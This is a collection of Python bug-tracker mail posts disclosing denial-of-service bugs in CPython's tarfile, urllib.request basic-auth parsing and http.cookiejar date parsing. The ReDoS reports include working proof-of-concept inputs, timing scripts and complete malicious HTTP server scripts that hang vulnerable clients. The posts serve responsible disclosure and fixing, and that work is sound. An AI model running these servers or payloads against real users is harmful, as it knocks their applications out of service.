[issue39017] Infinite loop in the tarfile module

2020-07-08 Thread Ben Caller


Ben Caller  added the comment:

A smaller bug: If instead of 0 you use a large number (> 2^63) e.g. 
999 you get `OverflowError: Python int too large to convert to 
C ssize_t` rather than the expected `tarfile.ReadError` regardless of 
errorlevel.

--

___
Python tracker 
<https://bugs.python.org/issue39017>
___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue39017] Infinite loop in the tarfile module

2020-07-08 Thread Ben Caller


Ben Caller  added the comment:

I've attached a minimal tar file which reproduces this. I think the minimum 
length is 516 bytes.

We need a 512 byte PAX format header block as normal.

Then we need a pax header which matches the regex in 
https://github.com/python/cpython/blob/b26a0db8ea2de3a8a8e4b40e69fc8642c7d7cb68/Lib/tarfile.py#L1243

length, keyword = re.compile(br"(\d+) ([^=]+)=").groups()

We use the `length` variable to iterate:
https://github.com/python/cpython/blob/b26a0db8ea2de3a8a8e4b40e69fc8642c7d7cb68/Lib/tarfile.py#L1271

while True:
...
pos += length

So we can start the block with "0 X=". This makes length=0. So it will 
increment pos by 0 each loop and loop the same code forever.

Nice find.

Do you think this denial of service is worth requesting a CVE for? If so, can 
someone else do it.

--
nosy: +bc
Added file: https://bugs.python.org/file49309/recursion.tar

___
Python tracker 
<https://bugs.python.org/issue39017>
___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue39503] [security][CVE-2020-8492] Denial of service in urllib.request.AbstractBasicAuthHandler

2020-04-01 Thread Ben Caller


Change by Ben Caller :


Removed file: https://bugs.python.org/file49022/bench_parser2.py

___
Python tracker 
<https://bugs.python.org/issue39503>
___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue39503] [security][CVE-2020-8492] Denial of service in urllib.request.AbstractBasicAuthHandler

2020-04-01 Thread Ben Caller


Change by Ben Caller :


Added file: https://bugs.python.org/file49023/bench_parser2.py

___
Python tracker 
<https://bugs.python.org/issue39503>
___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue39503] [security][CVE-2020-8492] Denial of service in urllib.request.AbstractBasicAuthHandler

2020-04-01 Thread Ben Caller


Ben Caller  added the comment:

Instead of

repeat_10_3 = 'Basic ' + ', ' * (10 ** 3) + simple

in the benchmark, try

repeat_10_3 = 'Basic ' + ', ' * (10 ** 3) + 'A'

--
Added file: https://bugs.python.org/file49022/bench_parser2.py

___
Python tracker 
<https://bugs.python.org/issue39503>
___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue39503] [security][CVE-2020-8492] Denial of service in urllib.request.AbstractBasicAuthHandler

2020-02-04 Thread Ben Caller


Ben Caller  added the comment:

Isn't this a duplicate of bpo-38826 ?

--
nosy: +bc

___
Python tracker 
<https://bugs.python.org/issue39503>
___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue38826] Regular Expression Denial of Service in urllib.request.AbstractBasicAuthHandler

2019-11-17 Thread Ben Caller


Ben Caller  added the comment:

I have been advised that DoS issues can be added to the public bug tracker  
since there is no privilege escalation, but should still have the security 
label.

--

___
Python tracker 
<https://bugs.python.org/issue38826>
___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue38826] Regular Expression Denial of Service in urllib.request.AbstractBasicAuthHandler

2019-11-16 Thread Ben Caller


New submission from Ben Caller :

The regular expression urllib.request.AbstractBasicAuthHandler.rx is vulnerable 
to malicious inputs which cause denial of service (REDoS).

The regex is:

rx = re.compile('(?:.*,)*[ \t]*([^ \t]+)[ \t]+'
'realm=(["\']?)([^"\']*)\\2', re.I)

The first line can act like:

(,*,)*(,+)[ \t]

Showing that there are many different ways to match a long sequence of commas.

Input from the WWW-Authenticate or Proxy-Authenticate headers of HTTP responses 
will reach the regex via the http_error_auth_reqed method as long as the header 
value starts with "basic ".

We can craft a malicious input:

urllib.request.AbstractBasicAuthHandler.rx.search(
"basic " + ("," * 100) + "A"
)

Which causes catastrophic backtracking and takes a large amount of CPU time to 
process.

I tested the length of time (seconds) to complete for different numbers of 
commas in the string:

18   0.289
19   0.57
20   1.14
21   2.29
22   4.55
23   9.17
24  18.3
25  36.5
26  75.1
27 167

Showing an exponential relationship O(2^x) !

The maximum length of comma string that can fit in a response header is 65509, 
which would take my computer just 6E+19706 years to complete.

Example malicious server:

from http.server import BaseHTTPRequestHandler, HTTPServer

def make_basic_auth(n_commas):
commas = "," * n_commas
return f"basic {commas}A"

class Handler(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(401)
n_commas = (
int(self.path[1:])
if len(self.path) > 1 else
65509
)
value = make_basic_auth(n_commas)
self.send_header("www-authenticate", value)
self.end_headers()

if __name__ == "__main__":
HTTPServer(("", 44020), Handler).serve_forever()

Vulnerable client:

import urllib.request
opener = urllib.request.build_opener(urllib.request.HTTPBasicAuthHandler())
opener.open("http://localhost:44020/;)

As such, python applications using urllib.request may need to be careful not to 
visit malicious servers.

I think the regex can be replaced with:
rx = re.compile('basic[ \t]+realm=(["\']?)([^"\']*)\\2', re.I)

- Ben

--
components: Library (Lib)
messages: 356785
nosy: bc
priority: normal
severity: normal
status: open
title: Regular Expression Denial of Service in 
urllib.request.AbstractBasicAuthHandler
type: security
versions: Python 2.7, Python 3.5, Python 3.6, Python 3.7, Python 3.8, Python 3.9

___
Python tracker 
<https://bugs.python.org/issue38826>
___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue38804] Regular Expression Denial of Service in http.cookiejar

2019-11-14 Thread Ben Caller


Change by Ben Caller :


--
keywords: +patch
pull_requests: +1
stage:  -> patch review
pull_request: https://github.com/python/cpython/pull/17157

___
Python tracker 
<https://bugs.python.org/issue38804>
___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue38804] Regular Expression Denial of Service in http.cookiejar

2019-11-14 Thread Ben Caller


New submission from Ben Caller :

The regex http.cookiejar.LOOSE_HTTP_DATE_RE iss vulnerable to regular
expression denial of service (REDoS). LOOSE_HTTP_DATE_RE.match is called when 
using http.cookiejar.CookieJar to parse Set-Cookie headers returned by a 
server. Processing a response from a malicious HTTP server can lead to extreme 
CPU usage and execution will be blocked for a long time.

The regex http.cookiejar.LOOSE_HTTP_DATE_RE contains multiple overlapping \s* 
capture groups.
Ignoring the ?-optional capture groups the regex can be simplified to

\d+-\w+-\d+(\s*\s*\s*)$

Therefore, a long sequence of spaces can trigger bad performance.
LOOSE_HTTP_DATE_RE backtracks if last character doesn't match \s or 
(?![APap][Mm]\b)[A-Za-z]+

Matching a malicious string such as

LOOSE_HTTP_DATE_RE.match("1-1-1" + (" " * 2000) + "!")

will cause catastrophic backtracking.

Timing test:


import http.cookiejar
import timeit

def run(n_spaces):
assert n_spaces <= 65506, "Set-Cookie header line must be <= 65536"
spaces = " " * n_spaces
expires = f"1-1-1{spaces}!"
http2time = http.cookiejar.http2time
t = timeit.Timer(
'http2time(expires)',
globals=locals(),
)
print(n_spaces, "{:.3g}".format(t.autorange()[1]))

i = 512
while True:
run(i)
i <<= 1


Timeit output (seconds) on my computer when doubling the number of spaces:


512 0.383
10243.02
2048   23.4
4096  184
8192 1700

As expected it's approx O(n^3). The maximum n_spaces to fit in a Set-Cookie 
header is 65506 which will take days.

You can create a malicious server which responds with Set-Cookie headers to 
attack all python programs which access it e.g.


from http.server import BaseHTTPRequestHandler, HTTPServer

def make_set_cookie_value(n_spaces):
spaces = " " * n_spaces
expiry = f"1-1-1{spaces}!"
return f"x;Expires={expiry}"

class Handler(BaseHTTPRequestHandler):
def do_GET(self):
self.log_request(204)
self.send_response_only(204)  # Don't bother sending Server and Date
n_spaces = (
int(self.path[1:])  # Can GET e.g. /100 to test shorter 
sequences
if len(self.path) > 1 else
65506  # Max header line length 65536
)
value = make_set_cookie_value(n_spaces)
for i in range(99):  # Not necessary, but we can have up to 100 
header lines
self.send_header("Set-Cookie", value)
self.end_headers()

if __name__ == "__main__":
HTTPServer(("", 44020), Handler).serve_forever()


This server returns 99 Set-Cookie headers. Each has 65506 spaces.
Extracting the cookies will pretty much never complete.

Vulnerable client using the example at the bottom of 
https://docs.python.org/3/library/http.cookiejar.html :


import http.cookiejar, urllib.request
cj = http.cookiejar.CookieJar()
opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
r = opener.open("http://localhost:44020/;)


The popular requests library is also vulnerable without any additional options 
(as it uses http.cookiejar by default):


import requests
requests.get("http://localhost:44020/;)


As such, python applications need to be careful not to visit malicious servers.

I have a patch. Will make a PR soon.
This was originally submitted to the security list, but posted here 'since this 
is "merely" a DoS attack and not a privilege escalation'.

- Ben

--
components: Library (Lib)
messages: 356636
nosy: bc
priority: normal
severity: normal
status: open
title: Regular Expression Denial of Service in http.cookiejar
type: security
versions: Python 2.7, Python 3.5, Python 3.6, Python 3.7, Python 3.8, Python 3.9

___
Python tracker 
<https://bugs.python.org/issue38804>
___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com